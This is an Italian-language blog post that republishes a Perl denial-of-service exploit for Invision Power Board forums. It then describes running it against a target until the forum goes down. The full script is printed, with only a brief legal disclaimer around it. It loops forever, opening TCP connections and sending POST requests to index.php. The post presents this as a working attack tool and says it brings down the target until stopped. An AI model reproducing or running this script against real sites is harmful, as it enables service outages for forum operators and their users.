Invision Power Board 0-day Denial Of Service

Il team inj3ct0r ha individuato oggi 25/04/2010 una notevole falla che affligge tutte le versioni di Invision Power Board producendo un Down dell’interna piattaforma finché non si termina l’attacco.

Lo script esclusivamente scritto in Perl produce  un attacco Denial of Service (DoS) nel confronti del Forum vittima impedendo conseguentemente il collegamento del Sock al Database .

Vista l’impatto notevole che avrà questo script, se utilizzato a fini illegittimi, abbiamo provveduto a provarlo…dopo il salto il Test!

Discalaimer

L’accesso abusivo ad un sistema informatico o telematico è un reato perseguibile a termine di legge (art. 615-ter c.p.). Inoltre ricordiamo che la detenzione e la diffusione abusiva di codici di accesso a sistemi informatici o telematici è un reato penale perseguibile secondo la legge 615-quater c.p.
L’utilizzo di questo script è da riferirsi a un test di sicurezza sulla propria rete o su una rete la quale il proprietario abbia espressamente dato il libero consenso al fine di giudicarne la sicurezza e porre rimedio ad eventuali vulnerabilità.
Gli Autori di questo Blog non potranno essere ritenuti responsabili di eventuali violazioni derivanti da un uso proprio o improprio dello script esposto in questo articolo aventi uno scopo prettamente informativo e didattico.

Exploit

Partiamo inizialmente, come di consueto, nel pubblicare l’exploit che può portare Down un Forum su piattaforma Invision:


# Invision power board 0-day denial of service 2 100% works..
#
# It works on all versions! can DOS the whole server!
#
#Perl Script
use Socket;
if (@ARGV < 2) { &usage }
$rand=rand(10);
$host = $ARGV[0];
$dir = $ARGV[1];
$host =~ s/(http:\/\/)//eg;
for ($i=0; $i<10; $i--)
{
$user="seeme".$rand.$i;
$data = "adsess=&"
;
$len = length $data;
$foo = "POST ".$dir."index.php HTTP/1.1\r\n".
"Accept: * /*\r\n".
"Accept-Language: en-gb\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n".
"Host: $host\r\n".
"Content-Length: $len\r\n".
"Connection: Keep-Alive\r\n".
"Cache-Control: no-cache\r\n\r\n".
"$data";
my $port = "80";
my $proto = getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto);
connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo;
send(SOCKET,"$foo", 0);
syswrite STDOUT, "+" ;
}
print "\n\n";
system('ping $host');
sub usage {
print "\tusage: \n";
print "\t$0 <host> </dir/>\n";
print "\tex: $0 127.0.0.1 /forum/\n";
print "\tex2: $0 127.0.0.1 /\n\n";
exit();
};
################################################################
# it's working I've tested it on ipb 3.x 2.x
# Greetz to Inj3ct0r Crew

Test

Compiliamo inizialmente il nostro Script scritto in Perl in modo da poterlo eseguire:

Notiamo subito che una volta avviato ci specifica i parametri necessari per portare a termine il nostro test, pertanto dovremo comunicargli l’HOST e la Directory in cui è contenuto il Forum.

Avviamo pertanto la nostra procedura di Test e vedremo che l’exploit entrerà in azione e ci verrà segnalato ogni singolo tentativo di attacco con il simbolo “+”

Fino a quando non procediamo all’annullamento dello script Perl (CTRL+Z) vedremo il forum vittima del nostro test down: